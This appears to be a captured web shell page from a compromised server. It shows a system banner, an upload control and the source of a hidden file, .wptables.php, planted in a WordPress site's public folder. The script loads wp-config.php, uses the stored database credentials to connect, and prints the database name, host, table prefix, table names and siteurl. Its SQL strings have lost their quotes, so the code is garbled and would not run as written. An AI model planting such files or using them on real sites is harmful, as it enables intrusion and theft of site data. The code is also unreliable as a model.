HEX
Server: nginx/1.18.0
System: Linux mail.dakarash.co.id 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User: www-data (33)
PHP: 8.1.2-1ubuntu2.23
Disabled: NONE
Upload Files
File: /home/dakarash.co.id/public_html/.wptables.php
<?php
header("Content-Type: text/plain; charset=UTF-8");
define("WP_USE_THEMES", false);
@include __DIR__."/wp-config.php";

echo "== WP TABLE DIAG ==\n";
echo "DB_NAME=".(defined("DB_NAME")?DB_NAME:"(undef)")."\n";
echo "DB_HOST=".(defined("DB_HOST")?DB_HOST:"(undef)")."\n";

global $table_prefix;
$pref = isset($table_prefix) && $table_prefix ? $table_prefix : "wp_";
echo "table_prefix=".$pref."\n";

$lnk=@mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if(!$lnk){echo "CONNECT_ERR: ".mysqli_connect_error()."\n"; exit;}

$hasOpt = false;
$res = mysqli_query($lnk, "SHOW TABLES LIKE .mysqli_real_escape_string(,).options");
if($res && mysqli_num_rows($res)>0){ $hasOpt = true; }
echo "has_options_table=".(int)$hasOpt."\n";

if($hasOpt){
  $q = mysqli_query($lnk, "SELECT option_value FROM `".$pref."options` WHERE option_name=siteurl LIMIT 1");
  $row = $q?mysqli_fetch_assoc($q):[];
  echo "siteurl=".(@$row["option_value"]?: "(not found)")."\n";
}else{
  // list 10 tabel pertama utk lihat prefix sebenarnya
  $q = mysqli_query($lnk, "SHOW TABLES");
  $n=0; echo "tables_sample=";
  while($q && ($r=mysqli_fetch_row($q)) && $n<10){ echo $r[0].","; $n++; }
  echo "\n";
}
mysqli_close($lnk);
echo "DONE\n";